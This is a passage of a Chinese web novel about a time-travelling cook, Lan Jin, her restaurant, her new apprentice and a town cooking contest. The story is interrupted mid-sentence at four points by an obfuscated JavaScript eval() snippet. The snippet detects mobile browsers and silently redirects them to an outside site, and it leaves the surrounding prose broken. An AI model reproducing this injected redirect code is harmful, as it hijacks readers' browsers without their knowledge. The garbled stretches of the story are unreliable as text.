猪皮也是不能浪费的，不管是做晶莹剔透的猪皮冻蘸着香醋当冷碟，还是做一口一个、鲜嫩爆汁的小笼汤包，都能用得上。 这些都是常规货物，唯一叫蓝锦惊喜的，是那一串一串的香肠。 她早已同柴家肉铺讲过，自己要这种圆圆胖胖的猪肉肠。写了配料做法，就是后世街边最常见的那种台式烤香肠。 在机器上一排排转着，个个挤挨挨地站好。只等到火候一声令下，“噗”地一声，香气和汁水爆出老远。 那爆开的裂缝越烤越焦干，咬到嘴里的时候，微焦感颇为柔软的肠身增色。 蓝锦的室友就爱吃不爆开的。那肠衣表面鼓起泡来，焦糖色积到一处，小油光折射着暖黄的炉光，瞬间勾起了食欲。 她们还为此买了一架烤肠机，真是留恋那种无忧无虑的小快乐啊。 如今落霞村的姐妹们来了，蓝锦把这古代版纯猪肉肠从火炉上取下，浓烈的荤香便扑鼻而来。 炭火烤制带来了别样的烟熏风味，使得烤肠的甜香更有层次。 “来啦，来啦，烤肠来了！”蓝锦两只手拿得满满的，从灶间小碎步跑出来。 “呀，这是什么，好像那个糖葫芦，糖肉葫芦！” “这是咸哒，婶子尝尝，待会给大丫也带些回去。都小心烫啊。” 小秋转学到了县里的女学，据说是霍夫子的老友明夫人开办的，也知根底。 如今小秋和大丫也算天各一方，她时常坐在廊下，揪着花瓣叹气，心中惦念着人家。 这烤肠外层脆香，内里却是软嫩多汁，能在嘴里瞬间爆出。 为着吸引孩童的打算，烤肠里添了糖，又配了盐。嚼起来甜咸得宜，叫人忍不住去吮吸肠上的肉汁子。 外皮是洗干净的猪肠做的，吃起来别有一种脆韧趣味。为了“毕剥”一声咬断烤肠的感觉，也忍不住多来两根。 只要不顾烫口，大可以塞了满嘴都是，全身心去体会香喷喷、弹嫩嫩的肉肠带来的满足。 吴老太“哎哟”一声，一股子肉汁直飙到李青苗的脸上去！ “你这老货，呲我一脸，你还‘哎哟’，该是我来‘哎哟’！”蓝锦赶紧给青苗婶子递帕子。 “哈哈哈，对不住，对不住！来锦娘这里潇洒，想不到。我们还给她演个小节目，哈哈哈。” 李青苗也不是真生气，还夸道： “嗳，这个是真好吃，香，吃着又有趣味！还是锦娘心思细巧。往日切了片炒菜的腊肠，竟然想到整根烤着吃。” “甜滋滋的，还使竹签子扎着，好拿，小孩子也能自个儿捧着吃。” “正是想卖给下学的孩童呐！我这小店刚开张，还需多做宣传。若全城的小孩子，日日都想来吃我这蓝记烤肠，不愁他们家大人不来我这蓝记用饭。” “锦娘脑瓜子好，我瞧啊，咱们也不用拜财神娘娘了。说不得，财神就住进锦娘的身子里了！我们只管拜锦娘，还愁糕团生意不赚钱？” 蓝锦撅着嘴故作嗔意，众人笑作一团。 ** “你要走了？”安琴端着盛满黄豆的簸箕，眼睛看向别处，脸色铁青。 “是......要走了，琴姐姐。”顾知背着书箧，低头嗫嚅。 “要去张罗考试的事？” “是了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541968|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这段时间多谢琴姐姐照顾。” “早先我苦口婆心劝说你，你倒都当耳旁风。如今那什么劳什子萧海商来了几回，你便一径转了性！原来，真心话你不识好赖，人家随手撒点银子，你就改了主意！” 安琴同顾知讲过自己的遭遇。 她幼时随父母看灯，碰见人拐子，被人买来做童养媳。又因银钱被转卖为婢，好容易熬出来，却又回狼窝。 若非遇上蓝锦，早就埋骨山中了。 灯花下，安琴纳着鞋底，顾知用糨糊把碎布糊成厚片。 “你脑子里有大学问，怎能半途放弃？若你读出头来，做个好官，不知能造福多少百姓。像这样拐儿卖女的事，也便少几个可怜人经历了。” “琴姐姐，我没那么有学问，我做不好......” 安琴冷眼瞧着，如今这人倒态度大变。 “琴姐姐，不瞒你，我是受了刺激。蓝小娘子受了伤，萧公子二话不说就接她去大宅子疗养，好医好药。如果没有金钱、地位，是办不到的。” “我没什么本事，没法像萧公子那样去海上行商，能依仗的，便是这箱书籍。我定要出人头地，再来与琴姐姐交待。” “谁要你交待，要走便走！” 安琴独个儿掩了门扉，在门后垂泪。相互扶持了这么些时日，真是个白眼狼！ 别人几句不是对着他说的话，就把他轻易勾走了！ “锦娘，可还有吃的？”安琴风尘仆仆地出现在蓝记饮食店外，神色有些憔悴。 “哎呀，琴姐姐，这么晚赶过来，累坏了吧？可是家里出了什么事？” 安琴摇摇头：“没什么事，就是帐房先生——顾知突然走了，要去考学。” “这倒寻常。来我店里的书生，无一不想高中、出人头地的，连带贡菜拌毛肚都卖得俏。他一直不去备考，我还觉奇怪咧。” “如今正好，没人跟我抢琴姐姐了，二楼东边的厢房，我可是专给你留的，你就来跟我和小秋住，可不许走了！” “你就说浑话，什么抢。还不是那萧海商，财大气粗的，跟有钱没处花似的，刺激他了！你说得对，真是碰见他就没好事。” 蓝锦吃吃地笑，往安琴手里塞了一碗热腾腾的阳春面。配上外皮焦酥的红烧狮子头，里头藏了一整颗咸蛋黄的。 “好，怎样都好。总之，又能让琴姐姐来和我作伴了！小秋还不知道要怎样高兴。” 安琴夹起一筷子面条，纤细有骨性，大口大口往嘴里送：“我便来给你做个端茶送水的婢女，好过在荒郊野外独守空屋。” “这可不行，那沉鱼落雁、闭月羞花的豆腐西施，可就没人做啦！我这里的后院空着，琴姐姐你想做豆腐生意便用，若不想，就先歇上一阵，慢慢寻摸。” “就乱说，我们哪有这样多的闲钱抛费。”阳春面的热气哈人，安琴终是笑了。 “哎，哎，那边有女娘要卖身葬母，快去瞧瞧啊！”原本空旷的大街陡然热闹了起来。 安琴和蓝锦面面相觑。 26. 第26章 “母亲病逝，自卖自身，只求为母亲收敛......” 围观的看客一字一句地念着。 蓝锦挤开人群，这里少有达官显贵路过，天色也昏暗了。 这个满身孝满身俏的女娘，选在这么低调的地方，不像是别人设下的鱼饵，专门捕猎酷爱救风尘的公子哥。 女娘不停叩头：“诸位乡邻，先父赌光了家业......烹调洒扫，女红针黹，奴都能做......” 蓝锦与安琴对视一眼，拿出一锭银子：“这位小娘子，你可愿跟我走？” 江汝月坐在蓝记饮食店，大口大口地咬着红烧狮子头。 “慢点吃，锅里还有，喝些汤，别噎着了。”安琴柔声细气的，想起来自己刚见到蓝锦姐妹时的样子。 小秋把玩着从江汝月的头上拿下来的稻草：“阿姐，这是什么，好端端的人，为何要在头上插一根稻草呀？” 蓝锦把稻草抽出来，往杂物桶里一抛：“不是好东西，以后都没有了。小秋，青苗婶子带来了大丫给你做的泥人，在你房里，你要不要去看看？” “好咧，好咧！” 目送着小秋蹦蹦跳跳去了二楼，蓝锦转头对江汝月说道：“童言天真，别放在心上。你也看到了，我们家就是这些人。你若愿留下，我便收你做个学徒，将来也有一技傍身。” “多谢师父，奴一定努力做工，报答师父的大恩大德。”江汝月立刻起身，就要跪下磕头。 “小娘子家，膝盖万莫要这般软，得配得上你不向命运低头的气性才行啊！”蓝锦稳稳地架住了她。 江汝月鼻头一酸，一直未曾哭的，此刻却扑簌簌掉下泪来。 蓝锦和声细语：“我观你是个有志气的女娘，你没像旁人说的，凭好模样去唱曲卖笑，也不去高门大户钻营做人家妻妾。” “现下虽是使了笨法子......好在，碰到的是我，我保证，你以后定能过上好日子的。” 江汝月浑身发抖，也是满心后怕。母亲走后，所谓亲朋都上得门来，什么样的嘴脸都露出来了。 她六神无主，凭一口气撑着罢了。直到此刻，在陌生的师父家，她才痛痛快快地哭了一场。 眼泪叭哒叭哒地落在汤面碗中，江汝月还是不停歇地往嘴里扒面条。 “好，这才好。人都说，落泪的时候还能吃下饭，这辈子，做什么都能成。”蓝锦和安琴笑眯眯的，看着猫儿似的小娘子。 蓝锦把婶娘们特地留下的糕团也拿来，这是她们硬送来的，非要叫她留着待客。 “这糕好不好吃？做这糕的婶娘们，好些人从没想过能与高门大户打交道。如今，她们都是富贵人家的座上宾，万年县谁家有个大事小情的，都愿客客气气地邀她们去做点心。” 江汝月乖乖地依言拿了，咬了一口，小声叹道：“真好吃。” ** “师祖新收了个徒弟，还是女的！”筷子在后院拖着大盆洗着碗盘，跟李厨子搬弄口舌。 “这有什么稀奇，师父的手艺那可绝了！做谁的师父都使的。”李厨子剔着牙，嘲笑徒弟大惊小怪。 “不是啊，师父，她可是个女的。咱们饮食行当，什么时候收过女弟子？” “怎么，师父不就是女的？她没做过女弟子？也是，师父有可能是天生天养，神仙转世，打降生就会做菜，娘胎里就练切墩了！”李厨子越想越是那回事，蓝锦那一手刀工，没个十几年的苦功练不成。师父才多大！ “哎哟，师父，听说还要专为那人摆个生辰宴呐！” 李厨子把竹签一抛：“你也眼红？你那生辰是冬日里，怎么，嫌自己投胎晚？” “嗨，师父，她可跟您是一个辈分的！您就不怕，她在师祖跟前，越过您去？” “这说的什么话，那肯定越过我啊！师父从来没松口收我为徒，现下允许我们旁观做饭，这都是我上赶着求来的，已经是天大的好事了，你还贪心不足！” 李厨子一个暴栗，敲到倒霉徒弟头上。筷子不情不愿地收了声。 “生熟肉是一定要分开的。”蓝锦在灶间细细指点着江汝月。 她倒是真会烹调。现下蓝锦不过把她往精细化的道路上引。 “你做得特别好。再练练气力，就更完美啦！”蓝锦很高兴，还真是捡到宝了。 江汝月面上有几分羞意，彷佛从未得到过这般直白的夸赞。 日子过得飞快，眨眼就要到五月五，这是小秋的生辰！自从穿来这里，家里还没有人过过生辰。 如今有了条件，可一定要好生庆祝。 说来也巧，江汝月是五月初七生人，和小秋就差了两天。 这是难得的缘分，蓝锦当下就决定，生日蜡烛，要吹两次！ 至于生日宴，刚好让新徒弟陪她一块掌勺，靠大宴验收教徒成果。 正日子很快就到了。大家伙团团坐满了两大张圆桌，中心摆的那道菜是八宝葫芦鸭。 鸭皮金黄油亮的，“倒像个搁在多宝阁上的琥珀摆件！”无忧无虑的云江望直拍大腿。 她今日又是骑马来的，还一路带着小同窗岳素秋。沾了小同窗贺生的光，叫她吃上这般好宴！ 小秋春风得意，小脸叫马背上的风吹得粉扑扑的。她和阿姐一同执刀，去切那盘八宝葫芦鸭。 脆壳泛着光泽，外皮紧致光滑。划开的那一瞬，香气刹那爆发，像是把田野上所有的新稻烹煮在一锅。 醇厚的肉香带着一丝香甜的气息，绕着人的鼻尖打转。 云江望不住拍手：“妙啊！真妙！蓝姐姐不愧是饮食天才，这个葫芦鸭形似其名，娇俏可爱，好想叫个个鸭子都长成这样！” 她迫不及待地挖一勺凑到嘴边，糯米粒粒分明，每一颗都是浅褐色，浸裹着一层润泽的鸭肉脂肪。 送进嘴里，只觉脆嫩的笋尖咯吱咯吱地被咬开。 咸鲜十足的，是干贝和火腿，彷佛静静的白桦林中陡然扑簌簌地飞出的几只黄莺一样出挑。 青苗婶子叫嚷开了：“这个艮艮的又是什么？香醇，像肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541969|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又不是肉！” “咬起来特别香的是猪肉和鸭胗，不是肉的就是香菇。娘你连这个也猜不出来，白吃了这么多独食。”大丫狼吞虎咽。 “你这馋丫！就你会吃！” “大丫说得不错，真是这三样，每一样是一宝。”江汝月笑眯眯的，这内馅好些都是她独立调味的。 肉香四溢有肉香四溢的妙处，小秋最爱绵软甘甜的薏仁米，还有芡实，在荤香中自带一种意趣。 萧仁禹扯下一片软烂的鸭肉，盖在八宝馅上。外皮酥香脆口，肉质软嫩不柴，一入口就鲜味四溢，出乎意料，活像融化在了口中。 糯米的甜润巧妙地把这些交织到一起，浓郁和清淡恰到好处相互搭配，各种风味在口中争先恐后，一浪高过一浪。 真不愧是他看中的厨子！萧仁禹特别得意。 不管是萧国公府，还是翰林院，那群人都吃不着，嘻嘻。 除却调味，塑形也见功底。这鸭子是整只脱骨的，不能吃的地方已经被精细地去了干净，偏偏外皮还是完整的，束成个葫芦样。 “两个圆咕隆咚的球拼在一起，好生可爱。我可算懂了，为何我阿奶这么喜欢葫芦，说着什么福禄双全的。若葫芦都是蓝姐姐家这样的，我也爱，爱得天天拿勺子去啃。”云江望果真拿着勺子绕着啃。 蓝锦就知道她们是这个反应，又笑着端来一份孩子最爱的炸茄盒与炸藕盒。 连大孩童妙清师太也垂涎欲滴，那冒着热气、金黄焦亮的茄盒藕盒一端上桌，她就立即搛起一片又一片往嘴里送。 落苏（茄子）裹了薄薄一层调过味的面糊，经了几重炸制，外酥里软。 拿牙齿破开这层小小的盔甲，就见着了一圈油亮的紫色外皮。 这菜要趁热吃，落苏肉吸饱了肉馅的鲜香，汁水丰饶，香糯中还透着一股食材本身的甜味。 藕盒又是另一番滋味，藕块的孔洞拦不住饱满的肉馅，空隙都叫肉末填得满当当，炸得干香焦脆。 轻薄酥脆的面衣，一咬就“咔嚓”作响。藕块爽脆，那股韧感又在唇齿间依依不舍。 藕香清甜，肉馅细腻，咸香油润，直叫人不顾滚烫，嘶哈着嘴巴也要吞进肚里。 因是炸货，蓝锦配了蘸料，一点香醋，一道只香不辣的辣椒面，还有一道小秋点名要的番茄酱。 不管蘸哪一种配料，都能叫原本就足够诱人的炸货再添几层风味，滋味在舌尖萦绕，经久不散。 就连霍鸿飞和明翊都是一口接一口，全然摆不起夫子架子。吃得停不下来，留恋着唇齿间那股独特的香酥气。 若说在座的谁最投入，仍属萧仁禹。他越吃越觉得心里不是滋味，如何他家小厨房这么不争气！ 蓝小娘子家的鸭肉香嫩罢了，这是大菜，可落苏和莲藕，人家也能做出花头！ 人比人，气死人。若萧国公府的小厨房能有蓝小娘子一半的功力，他至于每天遣甲一他们，跑万年县买蓝记的吃食吗？ 就算是轻功卓绝，也不是这个用法。 27. 第27章 “你起开，这是师父让我看的灶头。”筷子一挤江汝月，蛮横地欺负资历不如自己的人。 江汝月不与他分说，神色平静地抱着一筐豆角去外院了。 “嘁，她傲个什么劲。扮可怜得了师祖的青眼，连生辰宴都能借光，骨子里还是头上插标自卖自身的下人奴仆。” “你少说两句吧。”桌子洗着猪肠，筷子一向不愿干这些事，都抛给他。 “切，马屁精。” 万年县的日头一天辣过一天，蓝锦在想法子调动客人们的食欲。 有什么比冰更刺激夏日的脾胃？ 她刚动了念，便听见走街串巷的锣鼓告示：万年县“百味宴”烹饪大赛，欢迎报名，魁首奖励满窖净冰！ “汝月，汝月，你来看下柜台，我去报名百味宴！”蓝锦一边解围裙，一边冲后院嚷嚷。 “来了师父，你尽管去。”江汝月利落地擦干净手，匆匆奔过来。 路过灶间，筷子又是一个白眼，口中不屑：“嘁！又一个马屁精。” 桌子瞥他一眼，慢吞吞地抱着盆，挪去了后院井边。 百味宴停办了许久，得亏新上任的卢县令额外赞助了大赛。他还添了一条规则，诚邀魁首承办他家千金的周岁宴。 届时达官显贵往来不息，绝对是食店扬名的好机会。 故而万年县的大酒楼小食店，但凡有个铺面的，都踊跃报名了百味宴，使出浑身解数，势要夺下魁首。 “添一道桂花糯米藕。”蓝锦带着徒弟们整理参赛用的食单子。 “师祖，听说，如意楼也要参加，他们家的厨子，数量比我们家的客人都多。”筷子偷眼看蓝锦。 蓝锦头也不抬：“所以呢？” 李厨子给了筷子一个暴栗，他缩了缩头。 大赛要求各家出两个厨子，一人做主菜，一人做点心。 蓝锦清清嗓子：“我自然要去参加，关于另一位厨子，我有话要说。” 李厨子还没有什么表情，筷子就不停地拱自己师父，挤眉弄眼。 蓝锦却道：“我知道，说到比赛，有经验、了解本地口味的厨子，肯定能得到好成绩。不过，人们都是喜新厌旧的，新鲜味道也未必没有刺激性。” 她慢慢扫视店中的众人：“百味宴许久不办了，这是一次难得的机会。这次不把握住，下次又不知是几时了。大家怎么想？” 众人议论纷纷。江汝月只道：“我自然也想去，不过，李大哥更擅长。我听师父的安排。” 李厨子倒没表态。 蓝锦看向李厨子：“李大厨往年参加过百味宴大赛，我知道，这回让你去，你也是驾轻就熟的。但是，汝月没有过站在台前的时机。” “所以，这一回百味宴，我想让她去挑战一下，她或许不是夺冠的最优人选，但她是最需要这个机会的人。” “没有经验的厨子，同样也不受成规束缚，也能给大赛带来一些新鲜刺激。” 李厨子只管呵呵笑：“我是都可以的，又不是没去过。再者说了，赢了的奖励，还不是全店一起用啊！” 江汝月也道：“多谢师父信任我，我一定勤加练习！” 油灯如豆，蓝锦还在细细指点江汝月。 “我跟你说呀，蛋炒饭是最能体现厨师基本功的了。非得要用隔夜的米。你从前不常有机会侍弄白米，兴许不知，黏糊米饭刚进锅里，被水汽抱着，才没办法和蛋融在一起。” “那种先把蛋煎熟、凝固得硬硬的做法，哪怕再给捣得尽碎，也是不行的。” “非得要把米饭煸炒得干干的，再把蛋液往里一倒，直叫它每一粒米上都包裹上了金银蛋。” “或是还有一种方法，先把一半的蛋液倒进隔夜米里，搅得糊涂涂一片。另一半鸡蛋倒进锅里炒香，再把蛋液米饭一股脑下锅去炒，嘶，那香味。” “这就是要对颠勺功夫掌握得熟练，我们便都练练。” “其实油好，蛋好，饭好，我们还有自酿的好酱油，没有不好吃的。要有幸得了，我倒爱用牛油来炒，牛脂肪本身就一股奶香。” “要是嫌不鲜美，那就网几只活蹦乱跳的虾，挖了虾膏，虾壳煸出虾油，掺在其中，保管让人拍案叫绝。” “炒好了，搁在竹筒子里，金的金，绿的绿。吸油，又带了植物的清香。” “炒饭最好是雨后来炒，那时山里新长了各种蘑菇，鲜灵灵的，最提蛋鲜......” 江汝月认真地听着。她的味觉很是敏感，对食材的搭配也有自己的理解，是很有天分的女娘。 “你们听说了吗？如意楼的参赛厨子，都是几十年的老师傅了。据说，还走过商，天南海北的饭食都会做！” 筷子是蓝记饮食店的耳报神，快人快语。 “还是咱们这好啊，一年都没做到的学徒都能去亮亮相。” 蓝锦微微一笑，向江汝月递去一个安抚的眼神。 “天南海北的饭食，也是万变不离其宗，更重要的是先不去想结果，尽全力就好。” 天南海北，谁能跟她比天南海北？ ** 夏日的晚风怡人，驱散一天的热闷。萧国公府花园的小亭子里，萧仁禹和一个烂醉的酒鬼对坐。 “二弟，哥哥我啊，又要去北境了......你整日不是上值，就是往外跑，也不知来关怀你自家哥哥。” 萧仁禹不为所动，只把大哥手里的荷叶饼抽回来。 他特地寻得好牛肉，托蓝小娘子做的牛肉末炒豇豆。 咸香入味，叫暄软洁白的荷叶饼一夹，汁水把饼染了色也沁了味，能一口气吃半盘子。 这他还不满足？真是身在福中不知福。 萧仁肃不过借醉装疯，和自家冷面弟弟撒一撒娇。 说来也怪，自从自己把他扔到深山里特训之后，自家弟弟的气质好像有了那么一丝变化。 时刻完美的高冷假面裂了一道浅缝，倒像是透出一种......冤种气质。 原先是他见过最挑食的公子哥。现在天天抱着饭碗不放，吃着外头不知道从哪里弄来的饭菜，那叫一个津津有味。 照他这么个吃法，还能保住天都第一贵公子的称号吗？ 待他长成个胖皮球，看哪家姑娘还肯当他是春闺梦里人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541970|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你不吃了？”萧仁禹知道他没醉，冷冷打断他的思绪。 “啊，我吃，我吃！”萧仁肃一阵风卷残云，几个荷叶夹饼下肚。 “嚯，怪不得你整日吃，跟要上食的猪猡似的，这小饼真好吃。这牛肉末，跟豆角粒是绝配！” 萧仁禹立刻把手中的饼全塞进嘴里。 果然，他大哥也下手跟他抢夺起来。 “肉丝嫩，汁子都牢牢裹着，挑得一点筋膜也没有。软，弹，又香。难怪你要发胖！” 萧仁禹呛了一下：“我几时发胖？” 他大哥睨他一眼：“这还不胖，再吃下去，你生生胖出一个小妹的重量。” “谁在背后说人长短？好哇，你们在这里吃独食，不叫我！” 萧清珩挽了一个剑花，把佩剑收入鞘，迈着四方步子走过来。 “小妹，你又这般张扬，当心母亲抽你鞭子！” 萧清珩下巴一扬，眼神威吓：“你不说，谁人知道？” 她又转过头来巴巴地扯萧仁禹的衣袍：“求你，二哥，千万别说！” 萧仁禹面不改色：“三张。” “五张！我给你五张！”萧清珩把手一撒，瞬间变脸。石拓碑帖是什么好东西，也就她二哥当个宝。 “再要两个你新得来的猫儿塑。” “二哥！你发病了吗？怎么来跟我抢这些小玩意，你要了能做什么？不给，我那是一套的。” “那我就要一套。” “你！” 萧仁禹眼刀子唰刷飞，用鼻孔看人。 “好！我给你，都给你还不成吗？” 她二哥那可是个不能招惹的狠人，狠起来连自己都不放在眼里。他是真敢告诉母亲。 想当初，母亲要家里人全改习文，大哥抵死不依，二哥二话不说就弃了自小修习的武艺。 刀枪剑戟全都束之高阁，只当从未涉猎武学。 短短几年，先中解元，再中探花，大红簪花打马游街，羡煞多少簪缨世家。 又得圣上金口盛誉，钦点翰林院编修。 从头发丝到脚趾头，都透出一股文人的迂腐气，最配他一身好皮囊下的臭石头性子。 当然，落在旁人眼中，那可能就是清贵文臣气。 “你就得意吧！伪君子，早晚有能治你的人！”萧清珩看他哪哪都不顺眼。 萧仁禹好整以暇，不慌不忙地咀嚼着抢下的小饼。 眼神在萧仁禹的嘴边，和那盘吃了一半的荷叶夹饼中走了几个来回，萧清珩莫名其妙地咽了下口水。 什么玩意，怪香的。 “你也有今天，抱着一盘黑漆漆的物什吃得喷香，什么粗糙东西，也值得这般。” “得叫外头的小娘子都来瞧瞧，看谁还当你是清贵公子哥儿，还跟自己小妹抢玩具！” 萧仁禹把她夹起的那块荷叶饼收了回去。 “什么好东西，我还不稀得吃呢，略略略。” 萧清珩的舌头还没吐完，萧仁禹便干脆地起身：“不吃正好。” 竟是抱着盘子走人了。 这就生气了，真玩不起。 28. 第28章 “师父小心，别被挤着了。”李厨子排开众人。 蓝锦第一次来万年县的金莲池。 夏日里难得有浓荫遮蔽，池中碧荷摇曳，粉白荷花亭亭玉立，连水面上吹来的风都带了几丝凉意和香气。 若不是有这么多人乌泱泱挤着，此时该十分惬意。 城里但凡有个名头的酒楼食店都蜂拥而至，聚集在终于复开了的百味宴。 “从未见过金莲池有这么多人。”安琴往日随前主家来这里消过暑，但她并未来过百味宴。 “安小娘子不知道，这百味宴可是难得一遇的盛事。不仅有老餮参与菜色评定，城中百姓也能一饱口福，参与评选。加之许久都没办了，大家伙都期盼着呐。” 李厨子熟门熟路，带着蓝锦一行人挤开人群，来到参赛人员的候场区。 “哎，老康头，还有河边的棚子没有？” “有！你们来得早，喏，签子在这，快去占着吧。” 参赛的铺子一人领了一支写了数字的花签，寻了对应的凉棚进去。食材虽是各家自备，但棚中灶具厨具一应俱全。 竟是现搭了一个个小厨房出来，怪不得百味宴许久不办，实在是兴师动众，耗费不菲。 “隆！隆！”随着几声震天响的鼓声，百味宴大赛正式拉开帷幕。 “砰！”一个杂役敲响了手中的锣鼓，吸引大家的主意，大声宣布比赛规则。 “凡报名百味宴者，每家派出两人参赛。考题为一菜一点，每人负责一样。时辰一到，即送到此处，接受五位名士品评。再结合万年县乡邻的意见，最后揭晓结果。” 每家凉棚都有小厮监看，报了名申请出战的厨子，在他们那里领了红丝带扎于额间，以示区分。 李厨子不打算上灶，为了避嫌，只在一旁殷切地陪着。 小秋还扯着他翻花绳，安琴在帮蓝锦烫碗碟，没功夫搭理她。 “师父莫慌，总也要费上一天的光景，咱们慢慢来就是了。” 李厨子满手红花绳，呵呵直笑。 李厨子的那些徒弟们都没来，一半是因为留守家中看店，一半是觉得没意思。 师父性情大变，不像从前那样还钻营赚钱的事，整天就只围着蓝锦打转，“师父”长“师父”短，浑不像个正经厨子。 还有那个师祖，到底是女子，只偏宠她的女徒弟。早晚会吃到苦头。 看这回不输才怪，根本没必要去现场受人羞辱。 江汝月紧张得手也发抖，蓝锦只握住她轻轻用力，她莫名地稳了下来。 约定好了，蓝锦做主菜，江汝月做小点。小点先出，主菜后赛。 蓝锦带着她走到灶台前，人在一旁守着，眼含鼓励。 江汝月深呼吸一口气，回忆着蓝锦的教导，手下有条不紊。 马蹄粉和水磨米粉放入小盏中，蒸得半定型。玫瑰花瓣以蜜粘连，捏成梅花的样子，放入小盏里。 茶叶磨成的粉，拿小筛子抖成竹节，小心地覆盖上粉浆。 另用紫薯泥、干桂花、咸蛋黄、牛乳，调成各种各样的形状，以粉浆封口，再次上锅蒸。 江汝月攥着手盯火候。调了味的米浆必须要在某一个瞬间达到最佳状态，变成晶莹剔透、轻轻抖动的灯盏糕，好让里头封存的景象显露人前。 这道菜换了旁人做不出来。还是蓝锦发现江汝月的刺绣功底。 厨房的种种食材，对于她这个徒弟来说，就像刺绣的细线，一纵一横之间有无尽可能。 她就像一个胸有成竹的画师，看到食材，便能想象到如何搭配。把它们变成栩栩如生的样貌，拟形且拟态。 蓝锦对于调味和食材特性的经验，与她完美结合。 做好的灯盏糕摆在一个大白瓷盘里。蓝锦完全掌握了上菜的精髓——无论什么菜，干干净净地放在白盘子里，视觉效果都会加倍。 近乎透明的莹润小糕，若隐若现地透着其间的花瓣枝叶，每一盏中样子各不相同，拼在一起，就是一幅完整的梅兰竹菊图。 这道小点，兼顾了色、香、味，处处透着用心。蓝锦递来帕子，让江汝月把盘子上的汁水擦干净，这道摆盘堪比法餐厅甜点的菜就做成了。 江汝月在托盘上放上一只小灯笼，灯影衬托之下，灯盏糕的枝枝杈杈，投射在盘中，错落有致，更添意境。 “嘶——这是什么，没见过啊。” “听说蓝记让个学徒参赛，现在一看还真是野路子，哪家菜谱上有这种菜？当是闺阁做绣活，样子货。” “蓝记这是不想赢吧？” “看样子，就是来凑数的。” 一个出身西南的厨子小声嗫嚅：“这是灯盏糕，你们没吃过罢了。” 江汝月走得稳稳的，并不在乎身边议论纷纷。这道菜已经达到了她心中的标准，她便不再惧人言。 此刻已过了做菜时辰，人人都匆匆往看台前挤。 江汝月稳住自己的托盘，也不争先。好在师父有先见之明，灯盏糕底子圆，她雕了萝卜底座，每盏一个。 人群一窝蜂去抢四位胡须花白的老者，剩下一位老夫人却少有人问津。江汝月与她四目相对，看到她慈祥含笑的双眸，清澈灵透，便把托盘放到对方面前。 “蓝记真是放弃夺魁了，竟然敢去连老夫人门前弄斧。” “人家可是天都来的，吃过的好东西比咱们吃过的饭都多，蓝记可真是不自量力。” 连松琦却笑得和蔼，微微一看江汝月奉上的盘子，讶异地挑了下眉。 她搛起梅花图中的一朵，轻咬一口，细细咀嚼：“竟不是梅？” “是玫瑰，蜜渍玫瑰。” “不错，梅花虽清香怡人，入菜却不如你这个。” 连松琦嘴角扬起，又搛起一块青竹图，尝过之后，笑了出来：“也不是竹，竟是茶。” 江汝月也笑：“若要吃竹，只能把竹筒笋子饭塞进去了，却又不拟形。” “茶很好，很合竹的气韵。” “你是哪家的孩子，可曾去过西南？竟做得出灯盏糕。” “老夫人，我是蓝记的厨子，未曾去过西南。灯盏糕，是我师父教我的。” 连松琦冲她招招手，示意她来自己身边，拉着她得手说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541971|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“她教得好，你学得也灵透。我幼时随父征战西南，赶了许久的路，到了一个小村，那时吃的这灯盏糕。” “你做得和它们不一样。虽然糕体同样透明，你这个却有滋味。内里的花样更是特别，打眼一瞧就下了苦功。” “是我师父见识不凡，老夫人见了她，便知道她极有才华。” 连松琦笑容更大：“我信她有见识。” 一向以严苛挑剔著称的连松琦，竟和一个年轻厨子拉上了家常。 闲着的大厨们，和其他四位名士，都悄悄把目光往这瞟。 连松琦拍拍江汝月的手，示意她将菜递给下一位品鉴。自己却不动如山，嘴角含笑，似是在回味刚才的熟悉小点。 江汝月顺顺当当地走完一圈，在众人的议论声中，回到了蓝记的凉棚，大家便围了上来。 “你觉得如何？”蓝锦笑问道。 江汝月点点头：“还不错。” 几人聚在前门，都没发现，自家的凉棚后蹿过了一个黑影。 此时已是正午时分，四处都是走动的人群。他们正在为到场的参赛者，和参与品鉴的万年县民众们，奉上午食。 